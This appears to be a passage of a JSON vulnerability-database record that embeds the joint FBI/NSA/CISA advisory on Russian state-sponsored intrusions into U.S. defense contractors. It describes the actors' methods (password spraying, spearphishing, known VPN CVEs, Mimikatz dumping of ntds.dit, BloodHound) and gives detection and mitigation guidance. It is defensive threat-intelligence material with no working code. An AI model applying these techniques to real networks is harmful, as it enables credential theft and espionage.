"https://www.hivepro.com/russian-state-sponsored-cyber-actors-targeting-u-s-critical-infrastructure/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "ics": [{"lastseen": "2023-03-14T18:28:23", "description": "### Summary\n\n_Actions to Help Protect Against Russian State-Sponsored Malicious Cyber Activity:_ \n\u2022 Enforce multifactor authentication. \n\u2022 Enforce strong, unique passwords. \n\u2022 Enable M365** **Unified Audit Logs. \n\u2022 Implement** **endpoint detection and response tools.\n\nFrom at least January 2020, through February 2022, the Federal Bureau of Investigation (FBI), National Security Agency (NSA), and Cybersecurity and Infrastructure Security Agency (CISA) have observed regular targeting of U.S. cleared defense contractors (CDCs) by Russian state-sponsored cyber actors. The actors have targeted both large and small CDCs and subcontractors with varying levels of cybersecurity protocols and resources. These CDCs support contracts for the U.S. Department of Defense (DoD) and Intelligence Community in the following areas:\n\n * Command, control, communications, and combat systems;\n * Intelligence, surveillance, reconnaissance, and targeting;\n * Weapons and missile development;\n * Vehicle and aircraft design; and\n * Software development, data analytics, computers, and logistics. \n\nHistorically, Russian state-sponsored cyber actors have used common but effective tactics to gain access to target networks, including spearphishing, credential harvesting, brute force/password spray techniques, and known vulnerability exploitation against accounts and networks with weak security. These actors take advantage of simple passwords, unpatched systems, and unsuspecting employees to gain initial access before moving laterally through the network to establish persistence and exfiltrate data. \n\nIn many attempted compromises, these actors have employed similar tactics to gain access to enterprise and cloud networks, prioritizing their efforts against the widely used Microsoft 365 (M365) environment. The actors often maintain persistence by using legitimate credentials and a variety of malware when exfiltrating emails and data.\n\nThese continued intrusions have enabled the actors to acquire sensitive, unclassified information, as well as CDC-proprietary and export-controlled technology. The acquired information provides significant insight into U.S. weapons platforms development and deployment timelines, vehicle specifications, and plans for communications infrastructure and information technology. By acquiring proprietary internal documents and email communications, adversaries may be able to adjust their own military plans and priorities, hasten technological development efforts, inform foreign policymakers of U.S. intentions, and target potential sources for recruitment. Given the sensitivity of information widely available on unclassified CDC networks, the FBI, NSA, and CISA anticipate that Russian state-sponsored cyber actors will continue to target CDCs for U.S. defense information in the near future. These agencies encourage all CDCs to apply the recommended mitigations in this advisory, regardless of evidence of compromise.\n\nFor additional information on Russian state-sponsored cyber activity, see CISA's webpage, [Russia Cyber Threat Overview and Advisories](<https://www.us-cert.cisa.gov/russia>).\n\nClick here for a PDF version of this report.\n\n### Threat Details\n\n#### **Targeted Industries and Assessed Motive**\n\nRussian state-sponsored cyber actors have targeted U.S. CDCs from at least January 2020, through February 2022. The actors leverage access to CDC networks to obtain sensitive data about U.S. defense and intelligence programs and capabilities. Compromised entities have included CDCs supporting the U.S. Army, U.S. Air Force, U.S. Navy, U.S. Space Force, and DoD and Intelligence programs.\n\nDuring this two-year period, these actors have maintained persistent access to multiple CDC networks, in some cases for at least six months. In instances when the actors have successfully obtained access, the FBI, NSA, and CISA have noted regular and recurring exfiltration of emails and data. For example, during a compromise in 2021, threat actors exfiltrated hundreds of documents related to the company\u2019s products, relationships with other countries, and internal personnel and legal matters.\n\nThrough these intrusions, the threat actors have acquired unclassified CDC-proprietary and export-controlled information. This theft has granted the actors significant insight into U.S. weapons platforms development and deployment timelines, plans for communications infrastructure, and specific technologies employed by the U.S. government and military. Although many contract awards and descriptions are publicly accessible, program developments and internal company communications remain sensitive. Unclassified emails among employees or with government customers often contain proprietary details about technological and scientific research, in addition to program updates and funding statuses. See figures 1 and 2 for information on targeted customers, industries, and information.\n\n![](/sites/default/files/publications/AA22-046A%20Figure%201.PNG)\n\n_Figure 1. Targeted Industries_\n\n![](/sites/default/files/publications/AA22-046A%20Figure%202.PNG)\n\n_Figure 2. Exfiltrated Information_\n\n#### \n\n#### **Threat Actor Activity**\n\n_**Note:** This advisory uses the MITRE ATT&CK\u00ae for Enterprise framework, version 10. See the [ATT&CK for Enterprise](<https://attack.mitre.org/versions/v10/techniques/enterprise/>) for all referenced threat actor tactics and techniques. See the Tactics, Techniques, and Procedures (TTPs) section for a table of the threat actors\u2019 activity mapped to MITRE ATT&CK tactics and techniques._\n\n##### _**Initial Access **_\n\nRussian state-sponsored cyber actors use brute force methods, spearphishing, harvested credentials, and known vulnerabilities to gain initial access to CDC networks.\n\n * Threat actors use brute force techniques [[T1110](<https://attack.mitre.org/versions/v10/techniques/T1110>)] to identify valid account credentials [[T1589.001](<https://attack.mitre.org/versions/v10/techniques/T1589/001/>)] for domain and M365 accounts. After obtaining domain credentials, the actors use them to gain initial access to the networks. _**Note:** For more information, see joint NSA-FBI-CISA Cybersecurity Advisory: [Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments](<https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF>)._\n * Threat actors send spearphishing emails with links to malicious domains [[T1566.002](<https://attack.mitre.org/versions/v10/techniques/T1566/002>)] and use publicly available URL shortening services to mask the link [[T1027](<https://attack.mitre.org/versions/v10/techniques/T1027>)]. Embedding shortened URLs instead of actor-controlled malicious domains is an obfuscation technique meant to bypass virus and spam scanning tools. The technique often promotes a false legitimacy to the email recipient, increasing the probability of a victim\u2019s clicking on the link. \n * The threat actors use harvested credentials in conjunction with known vulnerabilities\u2014for example, CVE-2020-0688 and CVE-2020-17144\u2014on public-facing applications [[T1078](<https://attack.mitre.org/versions/v10/techniques/T1078/>), [T1190](<https://attack.mitre.org/versions/v10/techniques/T1190/>)], such as virtual private networks (VPNs), to escalate privileges and gain remote code execution (RCE) on the exposed applications.[[1](<https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF>)] In addition, threat actors have exploited CVE-2018-13379 on FortiClient to obtain credentials to access networks. \n * As CDCs find and patch known vulnerabilities on their networks, the actors alter their tradecraft to seek new means of access. This activity necessitates CDCs maintain constant vigilance for software vulnerabilities and out-of-date security configurations, especially in internet-facing systems.\n\n##### _**Credential Access** _\n\nAfter gaining access to networks, the threat actors map the Active Directory (AD) and connect to domain controllers, from which they exfiltrate credentials and export copies of the AD database `ntds.dit` [[T1003.003](<https://attack.mitre.org/versions/v10/techniques/T1003/003/>)]. In multiple instances, the threat actors have used Mimikatz to dump admin credentials from the domain controllers. \n\n##### _**Collection**_\n\nUsing compromised M365 credentials, including global admin accounts, the threat actors can gain access to M365 resources, including SharePoint pages [[T1213.002](<https://attack.mitre.org/versions/v10/techniques/T1213/002/>)], user profiles, and user emails [[T1114.002](<https://attack.mitre.org/versions/v10/techniques/T1114/002/>)].\n\n##### _**Command and Control**_\n\nThe threat actors routinely use virtual private servers (VPSs) as an encrypted proxy. The actors use VPSs, as well as small office and home office (SOHO) devices, as operational nodes to evade detection [[T1090.003](<https://attack.mitre.org/versions/v10/techniques/T1090/003/>)].\n\n##### _**Persistence**_\n\nIn multiple instances, the threat actors maintained persistent access for at least six months. Although the actors have used a variety of malware to maintain persistence, the FBI, NSA, and CISA have also observed intrusions that did not rely on malware or other persistence mechanisms. In these cases, it is likely the threat actors relied on possession of legitimate credentials for persistence [[T1078](<https://attack.mitre.org/versions/v10/techniques/T1078/>)], enabling them to pivot to other accounts, as needed, to maintain access to the compromised environments.\n\n#### **Tactics, Techniques, and Procedures**\n\nThe following table maps observed Russian state-sponsored cyber activity to the MITRE ATT&CK for Enterprise framework. Several of the techniques listed in the table are based on observed procedures in contextual order. Therefore, some of the tactics and techniques listed in their respective columns appear more than once. See Appendix A for a functional breakdown of TTPs. _**Note:** for specific countermeasures related to each ATT&CK technique, see the [Enterprise Mitigations](<https://attack.mitre.org/mitigations/>) section and [MITRE D3FEND](<https://d3fend.mitre.org/>)_\u2122. \n\n\n_Table 1: Observed Tactics, Techniques, and Procedures (TTPs)_\n\nTactic | Technique | Procedure \n---|---|--- \n \n**Reconnaissance [[TA0043](<https://attack.mitre.org/versions/v10/tactics/TA0043/>)]**\n\n**Credential Access [[TA0006](<https://attack.mitre.org/versions/v10/tactics/TA0006/>)]**\n\n| \n\nGather Victim Identity Information: Credentials [[T1589.001](<https://attack.mitre.org/versions/v10/techniques/T1589/001/>)] \n\nBrute Force [[T1110](<https://attack.mitre.org/versions/v10/techniques/T1110/003/>)]\n\n| Threat actors used brute force to identify valid account credentials for domain and M365 accounts. After obtaining domain credentials, the actors used them to gain initial access. \n**Initial Access [[TA0001](<https://attack.mitre.org/versions/v10/tactics/TA0001/>)]** | External Remote Services [[T1133](<https://attack.mitre.org/versions/v10/techniques/T1133>)] | Threat actors continue to research vulnerabilities in Fortinet\u2019s FortiGate VPN devices, conducting brute force attacks and leveraging CVE-2018-13379 to gain credentials to access victim networks. [[2](<https://media.defense.gov/2019/Oct/07/2002191601/-1/-1/0/CSA-MITIGATING-RECENT-VPN-VULNERABILITIES.PDF>)] \n \n**Initial Access [[TA0001](<https://attack.mitre.org/versions/v10/tactics/TA0001/>)]**\n\n**Privilege Escalation [[TA0004](<https://attack.mitre.org/versions/v10/tactics/TA0004>)]**\n\n| \n\nValid Accounts [[T1078](<https://attack.mitre.org/versions/v10/techniques/T1078/>)]\n\nExploit Public-Facing Application [[T1190](<https://attack.mitre.org/versions/v10/techniques/T1190/>)]\n\n| Threat actors used credentials in conjunction with known vulnerabilities on public-facing applications, such as virtual private networks (VPNs)\u2014CVE-2020-0688 and CVE-2020-17144\u2014to escalate privileges and gain remote code execution (RCE) on the exposed applications. [[3](<https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF>)] \n \n**Initial Access [[TA0001](<https://attack.mitre.org/versions/v10/tactics/TA0001/>)]**\n\n**Defense Evasion [[TA0005](<https://attack.mitre.org/versions/v10/tactics/TA0005>)]**\n\n| \n\nPhishing: Spearphishing Link [[T1566.002](<https://attack.mitre.org/versions/v10/techniques/T1566/002>)]\n\nObfuscated Files or Information [[T1027](<https://attack.mitre.org/versions/v10/techniques/T1027>)]\n\n| Threat actors sent spearphishing emails using publicly available URL shortening services. Embedding shortened URLs instead of the actor-controlled malicious domain is an obfuscation technique meant to bypass virus and spam scanning tools. The technique often promotes a false legitimacy to the email recipient and thereby increases the possibility that a victim clicks on the link. \n \n**Initial Access [[TA0001](<https://attack.mitre.org/versions/v10/tactics/TA0001/>)]**\n\n**Credential Access [[TA0006](<https://attack.mitre.org/versions/v10/tactics/TA0006/>)]**\n\n| \n\nOS Credential Dumping: NTDS [[T1003.003](<https://attack.mitre.org/versions/v10/techniques/T1003/003/>)]\n\nValid Accounts: Domain Accounts [[T1078.002](<https://attack.mitre.org/versions/v10/techniques/T1078/002/>)]\n\n| Threat actors logged into a victim\u2019s VPN server and connected to the domain controllers, from which they exfiltrated credentials and exported copies of the AD database `ntds.dit`. \n \n**Initial Access [[TA0001](<https://attack.mitre.org/versions/v10/tactics/TA0001/>)]**\n\n**Privilege Escalation [[TA0004](<https://attack.mitre.org/versions/v10/tactics/TA0004>)]**\n\n**Collection [[TA0009](<https://attack.mitre.org/versions/v10/tactics/TA0009/>)]**\n\n| \n\nValid Accounts: Cloud Accounts [[T1078.004](<https://attack.mitre.org/versions/v10/techniques/T1078/004/>)]\n\nData from Information Repositories: SharePoint [[T1213.002](<https://attack.mitre.org/versions/v9/techniques/T1213/002/>)]\n\n| In one case, the actors used valid credentials of a global admin account within the M365 tenant to log into the administrative portal and change permissions of an existing enterprise application to give read access to all SharePoint pages in the environment, as well as tenant user profiles and email inboxes. \n \n**Initial Access [[TA0001](<https://attack.mitre.org/versions/v10/tactics/TA0001/>)]**\n\n**Collection [[TA0009](<https://attack.mitre.org/versions/v10/tactics/TA0009/>)]**\n\n| \n\nValid Accounts: Domain Accounts [[T1078.002](<https://attack.mitre.org/versions/v10/techniques/T1078/002/>)]\n\nEmail Collection [[T1114](<https://attack.mitre.org/versions/v10/techniques/T1114>)]\n\n| In one case, the threat actors used legitimate credentials to exfiltrate emails from the victim's enterprise email system. \n \n**Persistence [[TA0003](<https://attack.mitre.org/versions/v10/tactics/TA0003/>)]**\n\n**Lateral Movement [[TA0008](<https://attack.mitre.org/versions/v10/tactics/TA0008>)]**\n\n| Valid Accounts [[T1078](<https://attack.mitre.org/versions/v10/techniques/T1078/>)] | Threat actors used valid accounts for persistence. After some victims reset passwords for individually compromised accounts, the actors pivoted to other accounts, as needed, to maintain access. \n**Discovery [[TA0007](<https://attack.mitre.org/tactics/TA0007>)]** | File and Network Discovery [[T1083](<https://attack.mitre.org/versions/v10/techniques/T1083>)] | After gaining access to networks, the threat actors used BloodHound to map the Active Directory. \n**Discovery [[TA0007](<https://attack.mitre.org/versions/v10/tactics/TA0007>)]** | Domain Trust Discovery [[T1482](<https://attack.mitre.org/versions/v10/techniques/T1482/>)] | Threat actors gathered information on domain trust relationships that were used to identify lateral movement opportunities. \n**Command and Control [[TA0011](<https://attack.mitre.org/versions/v10/tactics/TA0011/>)]** | Proxy: Multi-hop Proxy [[T1090.003](<https://attack.mitre.org/versions/v10/techniques/T1090/003/>)] | Threat actors used multiple disparate nodes, such as VPSs, to route traffic to the target. \n \n### \n\n### Detection\n\nThe FBI, NSA, and CISA urge all CDCs to investigate suspicious activity in their enterprise and cloud environments. _**Note:** for additional approaches on uncovering malicious cyber activity, see joint advisory [Technical Approaches to Uncovering and Remediating Malicious Activity](<https://us-cert.cisa.gov/sites/default/files/publications/AA20-245A-Joint_CSA-Technical_Approaches_to_Uncovering_Malicious_Activity_508.pdf>), authored by CISA and the cybersecurity authorities of Australia, Canada, New Zealand, and the United Kingdom._\n\n#### **Detect Unusual Activity**\n\n**Implement robust log collection and retention.** Robust logging is critical for detecting unusual activity. Without a centralized log collection and monitoring capability, organizations have limited ability to investigate incidents or detect the threat actor behavior described in this advisory. Depending on the environment, tools and solutions include:\n\n * Cloud native solutions, such as cloud-native security incident and event management (SIEM) tools.\n * Third-party tools, such as Sparrow, to review Microsoft cloud environments and to detect unusual activity, service principals, and application activity. _**Note:** for guidance on using these and other detection tools, refer to CISA Cybersecurity Advisory [Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments](<https://us-cert.cisa.gov/ncas/alerts/aa21-008a>)._\n\n#### **Look for Evidence of Known TTPs**\n\n * **Look for behavioral evidence or network and host-based artifacts** from known TTPs associated with this activity. To detect password spray activity, review authentication logs for system and application login failures of valid accounts. Look for frequent, failed authentication attempts across multiple accounts. \n * To detect use of compromised credentials in combination with a VPS, follow the steps below: \n * **Review logs for suspicious \u201cimpossible logins,\u201d** such as logins with changing usernames, user agent strings, and IP address combinations or logins where IP addresses do not align to the expected user\u2019s geographic location.\n * **Look for one IP used for multiple accounts,** excluding expected logins.\n * **Search for \u201cimpossible travel,\u201d **which occurs when a user logs in from multiple IP addresses that are a significant geographic distance apart (i.e., a person could not realistically travel between the geographic locations of the two IP addresses in the time between logins). _**Note:** this detection opportunity can result in false positives if legitimate users apply VPN solutions before connecting to networks._\n * **Evaluate processes and program execution command-line arguments** that may indicate credential dumping, especially attempts to access or copy the `ntds.dit` file from a domain controller. \n * Identify suspicious privileged account use after resetting passwords or applying user account mitigations. \n * **Review logs for unusual activity** in typically dormant accounts.\n * **Look for unusual user agent strings,** such as strings not typically associated with normal user activity, which may indicate bot activity.\n\n### Incident Response and Remediation\n\nOrganizations with evidence of compromise should assume full identity compromise and initiate a full identity reset.\n\n * **Reset passwords for all local accounts. **These accounts should include Guest, HelpAssistant, DefaultAccount, System, Administrator, and krbtgt. It is essential to reset the password for the krbtgt account, as this account is responsible for handling Kerberos ticket requests as well as encrypting and signing them. _**Note:** reset the krbtgt account twice and consecutively with a 10-hour waiting period between resets (i.e., perform the first krbtgt password reset, wait 10 hours, and then follow with a second krbtgt password reset). The krbtgt password resets may take a long time to propagate fully on large AD environments. Refer to Microsoft\u2019s [AD Forest Recovery - Resetting the krbtgt password](<https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/manage/ad-forest-recovery-resetting-the-krbtgt-password>) guidance and automation script for additional information. [[4](<https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/manage/ad-forest-recovery-resetting-the-krbtgt-password>)][[5](<https://github.com/microsoft/New-KrbtgtKeys.ps1>)]_\n * **Reset all domain user, admin, and service account passwords. **\n\n_**Note:** for guidance on evicting advanced persistent threat (APT) actors from cloud and enterprise environments, refer to CISA Analysis Report [Eviction Guidance for Networks Affected by the SolarWinds and Active Directory/Microsoft 365 (M365) Compromise](<https://us-cert.cisa.gov/ncas/analysis-reports/ar21-134a>). Although this guidance was drafted for federal agencies compromised by the Russian Foreign Intelligence Service (SVR) via the [SolarWinds Orion supply chain compromise](<https://us-cert.cisa.gov/remediating-apt-compromised-networks>), the steps provided in the Eviction Phase are applicable for all organizations crafting eviction plans for suspected APT actors._\n\n### Mitigations\n\nThe FBI, NSA, and CISA encourage all CDCs, with or without evidence of compromise, to apply the following mitigations to reduce the risk of compromise by this threat actor. While these mitigations are not intended to be all-encompassing, they address common TTPs observed in these intrusions and will help to mitigate against common malicious activity. \n\n#### **Implement Credential Hardening**\n\n##### **_Enable Multifactor Authentication_**\n\n * **Enable multifactor authentication (MFA)** for all users, without exception. Subsequent authentication may not require MFA, enabling the possibility to bypass MFA by reusing single factor authentication assertions (e.g., Kerberos authentication). Reducing the lifetime of assertions will cause account re-validation of their MFA requirements.[[6](<https://media.defense.gov/2019/Sep/09/2002180330/-1/-1/0/Defend Privileges and Accounts - Copy.pdf>)] Service accounts should not use MFA. Automation and platform features (e.g., Group Managed Service Accounts, gMSA) can provide automatic and periodic complex password management for service accounts, reducing the threat surface against single factor authentication assertions.[[7](<https://docs.microsoft.com/en-us/windows-server/security/group-managed-service-accounts/group-managed-service-accounts-overview>)] \n\n##### **_Enforce Strong, Unique Passwords_**\n\n * **Require accounts to have strong, unique passwords.** Passwords should not be reused across multiple accounts or stored on the system where an adversary may have access.\n * **Enable password management functions**, such as Local Administrator Password Solution (LAPS), for local administrative accounts. This will reduce the burden of users managing passwords and encourage them to have strong passwords.\n\n##### **_Introduce Account Lockout and Time-Based Access Features_**\n\n * **Implement time-out and lock-out features** in response to repeated failed login attempts.\n * **Configure time-based access for accounts set at the admin level and higher. **For example, the Just-In-Time (JIT) access method provisions privileged access when needed and can support enforcement of the principle of least privilege (as well as the Zero Trust model). This is a process where a network-wide policy is set in place to automatically disable administrator accounts at the AD level when the account is not in direct need. When the account is needed, individual users submit their requests through an automated process that enables access to a system but only for a set timeframe to support task completion.\n\n##### **_Reduce Credential Exposure_**\n\n * **Use virtualization solutions on modern hardware and software** to ensure credentials are securely stored, and protect credentials via capabilities, such as Windows Defender Credential Guard (CredGuard) and Trusted Platform Module (TPM).[[8](<https://media.defense.gov/2019/Sep/09/2002180345/-1/-1/0/Leverage Modern Hardware Security Features - Copy.pdf>)] Protecting domain credentials with CredGuard requires configuration and has limitations in protecting other types of credentials (e.g., WDigest and local accounts).[[9](<https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard>)][[10](<https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-protection-limits>)] CredGuard uses TPMs to protect stored credentials. TPMs function as a system integrity observer and trust anchor ensuring the integrity of the boot sequence and mechanisms (e.g., UEFI Secure Boot). Installation of Windows 11 requires TPM v2.0.[[11](<https://docs.microsoft.com/en-us/windows/whats-new/windows-11-requirements>)] Disabling WDigest and rolling expiring NTLM secrets in smartcards will further protect other credentials not protected by CredGuard.[[12](<https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/the-importnace-of-kb2871997-and-kb2928120-for-credential/ba-p/258478>)][[13](<https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/whats-new-in-credential-protection>)]\n\n#### **Establish Centralized Log Management**\n\n * **Create a centralized log management system. **Centralized logging applications allow network defenders to look for anomalous activity, such as out-of-place communications between devices or unaccountable login failures, in the network environment. \n * Forward all logs to a SIEM tool.\n * Ensure logs are searchable.\n * Retain critical and historic network activity logs for a minimum of 180 days. \n * **If using M365, enable Unified Audit Log (UAL)**\u2014M365\u2019s logging capability\u2014which contains events from Exchange Online, SharePoint online, OneDrive, Azure AD, Microsoft Teams, PowerBI, and other M365 services. \n * **Correlate logs, including M365 logs, from network and host security devices. **This correlation will help with detecting anomalous activity in the network environment and connecting it with potential anomalous activity in M365. \n\nIn addition to setting up centralized logging, organizations should:\n\n * **Ensure PowerShell logging is turned on. **Threat actors often use PowerShell to hide their malicious activities.[14] \n * **Update PowerShell instances to version 5.0 or later **and uninstall all earlier versions of PowerShell. Logs from prior versions are either non-existent or do not record enough detail to aid in enterprise monitoring and incident response activities. \n * **Confirm PowerShell 5.0 instances have module, script block, and transcription logging** enabled.\n * **Monitor remote access/Remote Desktop Protocol (RDP) logs** and disable unused remote access/RDP ports.\n\n#### **Initiate a Software and Patch Management Program **\n\n * **Consider using a centralized patch management system.** Failure to deploy software patches in a timely manner makes an organization a target of opportunity, increasing its risk of compromise. Organizations can ensure timely patching of software vulnerabilities by implementing an enterprise-wide software and patch management program.[[15](<https://media.defense.gov/2019/Sep/09/2002180319/-1/-1/0/Update and Upgrade Software Immediately.docx - Copy.pdf>)] \n * If an organization is unable to update all software shortly after a patch is released, **prioritize patches for CVEs that are already known **to be exploited or that would be accessible to the largest number of potential adversaries (such as internet-facing systems). \n * **Subscribe to [CISA cybersecurity notifications and advisories](<https://us-cert.cisa.gov/ncas>)** to keep up with known exploited vulnerabilities, security updates, and threats. This will assist organizations in maintaining situational awareness of critical software vulnerabilities and, if applicable, associated exploitation. \n * **Sign up for CISA\u2019s [cyber hygiene services](<https://www.cisa.gov/cyber-hygiene-services>)**, including vulnerability scanning, to help reduce exposure to threats. CISA\u2019s vulnerability scanning service evaluates external network presence by executing continuous scans of public, static IPs for accessible services and vulnerabilities.\n\n#### **Employ Antivirus Programs **\n\n * **Ensure that antivirus applications are installed on all organizations\u2019 computers** and are configured to prevent spyware, adware, and malware as part of the operating system security baseline. \n * **Keep virus definitions up to date.**\n * **Regularly monitor antivirus scans.**\n\n#### **Use Endpoint Detection and Response Tools **\n\n * **Utilize endpoint detection and response (EDR) tools.** These tools allow a high degree of visibility into the security status of endpoints and can be an effective defense against threat actors. EDR tools are particularly useful for detecting lateral movement, as they have insight into common and uncommon network connections for each host. \n\n#### **Maintain Rigorous Configuration Management Programs **\n\n * **Audit configuration management programs **to ensure they can track and mitigate emerging threats. Review system configurations for misconfigurations and security weaknesses. Having a robust configuration program hinders sophisticated threat operations by limiting the effectiveness of opportunistic attacks.[[16](<https://media.defense.gov/2019/Sep/09/2002180326/-1/-1/0/Actively Manage Systems and Configurations.docx - Copy.pdf>)] \n\n#### **Enforce the Principle of Least Privilege**\n\n * **Apply the principle of least privilege. **Administrator accounts should have the minimum permissions they need to do their tasks. This can reduce the impact if an administrator account is compromised. \n * **For M365, assign administrator roles to role-based access control (RBAC)** to implement the principle of least privilege. Given its high level of default privilege, you should only use the Global Administrator account when absolutely necessary. Using Azure AD\u2019s numerous other built-in administrator roles instead of the Global Administrator account can limit assigning unnecessary privileges. _**Note:** refer to the Microsoft documentation, [Azure AD built-in roles](<https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles>), for more information about Azure AD. _\n * **Remove privileges not expressly required by an account\u2019s function or role. **\n * **Ensure there are unique and distinct administrative accounts** for each set of administrative tasks. \n * **Create non-privileged accounts for privileged users, **and ensure they use the non- privileged accounts for all non-privileged access (e.g., web browsing, email access).\n * **Reduce the number of domain and enterprise administrator accounts, **and remove all accounts that are unnecessary.\n * **Regularly audit administrative user accounts.**\n * **Regularly audit logs to ensure new accounts are legitimate users.**\n * **Institute a group policy that disables remote interactive logins,** and use Domain Protected Users Group.\n\nTo assist with identifying suspicious behavior with administrative accounts:\n\n * **Create privileged role tracking.**\n * **Create a change control process** for all privilege escalations and role changes on user accounts.\n * **Enable alerts on privilege escalations and role changes.**\n * **Log privileged user changes** in the network environment, and create an alert for unusual events.\n\n#### **Review Trust Relationships**\n\n * **Review existing trust relationships with IT service providers,** such as managed service providers (MSPs) and cloud service providers (CSPs). Threat actors are known to exploit trust relationships between providers and their customers to gain access to customer networks and data. \n * **Remove unnecessary trust relationships. **\n * **Review contractual relationships **with all service providers, and ensure contracts include: \n * Security controls the customer deems appropriate. \n * Appropriate monitoring and logging of provider-managed customer systems.\n * Appropriate monitoring of the service provider\u2019s presence, activities, and connections to the customer network.\n * Notification of confirmed or suspected security events and incidents occurring on the provider\u2019s infrastructure and administrative networks.\n\n_**Note: **review CISA\u2019s page on [APTs Targeting IT Service Provider Customers](<https://www.cisa.gov/uscert/APTs-Targeting-IT-Service-Provider-Customers>) and [CISA Insights: Mitigations and Hardening Guidance for MSPs and Small and Mid-sized Businesses](<https://cisa.gov/sites/default/files/publications/CISA%20Insights_Guidance-for-MSPs-and-Small-and-Mid-sized-Businesses_S508C.pdf>) for additional recommendations for MSP and CSP customers._\n\n#### **Encourage Remote Work Environment Best Practices**\n\nWith the increase in remote work and use of VPN services due to COVID-19, the FBI, NSA, and CISA encourage regularly monitoring remote network traffic, along with employing the following best practices._ **Note:** for additional information, see joint NSA-CISA Cybersecurity Information Sheet: [Selecting and Hardening Remote Access VPN Solutions](<https://media.defense.gov/2021/Sep/28/2002863184/-1/-1/0/CSI_SELECTING-HARDENING-REMOTE-ACCESS-VPNS-20210928.PDF>)._\n\n * **Regularly update VPNs, network infrastructure devices, and devices used for remote work environments **with the latest software patches and security configurations.\n * **When possible, require MFA on all VPN connections. **Physical security tokens are the most secure form of MFA, followed by authenticator applications. When MFA is unavailable, mandate that employees engaging in remote work use strong passwords.\n * **Monitor network traffic for unapproved and unexpected protocols.**\n * **Reduce potential attack surfaces by discontinuing unused VPN servers** that may be used as a point of entry by adversaries.\n\n#### **Establish User Awareness Best Practices**\n\nCyber actors frequently use unsophisticated methods to gain initial access, which can often be mitigated by stronger employee awareness of indicators of malicious activity. The FBI, NSA, and CISA recommend the following best practices to improve employee operational security when conducting business:\n\n * **Provide end user awareness and training. **To help prevent targeted social engineering and spearphishing scams, ensure that employees and stakeholders are aware of potential cyber threats and how they are delivered. Also, provide users with training on information security principles and techniques.\n * **Inform employees of the risks of social engineering attacks,** e.g., risks associated with posting detailed career information to social or professional networking sites.\n * **Ensure that employees are aware of what to do and whom to contact when they see suspicious activity or suspect a cyber intrusion** to help quickly and efficiently identify threats and employ mitigation strategies.\n\n#### **Apply Additional Best Practice Mitigations**\n\n * **Deny atypical inbound activity from known anonymization services, **including commercial VPN services and The Onion Router (TOR).\n * **Impose listing policies for applications and remote access** that only allow systems to execute known and permitted programs under an established security policy.\n * **Identify and create offline backups for critical assets.**\n * **Implement network segmentation.**\n * **Review CISA Alert **[AA20-120A: Microsoft Office 365 Security Recommendations](<https://us-cert.cisa.gov/ncas/alerts/aa20-120a>) for additional recommendations on hardening M365 cloud environments.\n\n### Rewards for Justice Program\n\nIf you have information on state-sponsored Russian cyber operations targeting U.S. critical infrastructure, contact the Department of State\u2019s Rewards for Justice Program. You may be eligible for a reward of up to $10 million, which the Department is offering for information leading to the identification or location of any person who, while acting under the direction or control of a foreign government, participates in malicious cyber activity against U.S. critical infrastructure in violation of the Computer Fraud and Abuse Act (CFAA). Contact (202) 702-7843 on WhatsApp, Signal, or Telegram, or send information via the Rewards for Justice secure Tor-based tips line located on the Dark Web. For more details, refer to [rewardsforjustice.net](<https://rewardsforjustice.net/terrorist-rewards/foreign-malicious-cyber-activity-against-u-s-critical-infrastructure/>).\n\n### Caveats\n\nThe information you have accessed or received is being provided \u201cas is\u201d for informational purposes only. The FBI, NSA, and CISA do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply their endorsement, recommendation, or favoring by the FBI, NSA, or CISA. \n\n### Contact Information\n\nTo report suspicious activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at [www.fbi.gov/contact-us/field-offices](<https://www.fbi.gov/contact-us/field-offices>) or the FBI\u2019s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by email at [CyWatch@fbi.gov](<mailto:cywatch@fbi.gov>). When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To request incident response resources or technical assistance related to these threats, contact CISA at [Central@cisa.gov](<mailto:central@cisa.gov>). For NSA client requirements or general cybersecurity inquiries, contact the NSA Cybersecurity Requirements Center at (410) 854-4200 or [Cybersecurity_Requests@nsa.gov](<mailto:Cybersecurity_Requests@nsa.gov>). Defense Industrial Base companies may additionally sign up for NSA\u2019s free cybersecurity services, including Protective DNS, vulnerability scanning, and threat intelligence collaboration at [dib_defense@cyber.nsa.gov](<mailto:dib_defense@cyber.nsa.gov>). \n\n### Appendix: Detailed Tactics, Techniques, and Procedures\n\n#### **Reconnaissance** [[TA0043](<https://attack.mitre.org/tactics/TA0043/>)]\n\nReconnaissance consists of techniques that involve adversaries actively or passively gathering information that can be used to support targeting. The adversary is known for harvesting login credentials [[T1589.001](<https://attack.mitre.org/techniques/T1589/001>)].[[17](<https://attack.mitre.org/groups/G0007>)]\n\nID | **Name** | **Description** \n---|---|--- \nT1589.001 | Gather Victim Identity Information: Credentials | Adversaries may gather credentials that can be used during targeting. \n \n#### **Initial Access **[[TA0001](<https://attack.mitre.org/versions/v10/tactics/TA0001/>)]\n\nInitial Access consists of techniques that use various entry vectors to gain their initial foothold within a network. For example, the adversary may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion [[T1078](<https://attack.mitre.org/techniques/T1078>)].[[18](<https://attack.mitre.org/groups/G0007>)] 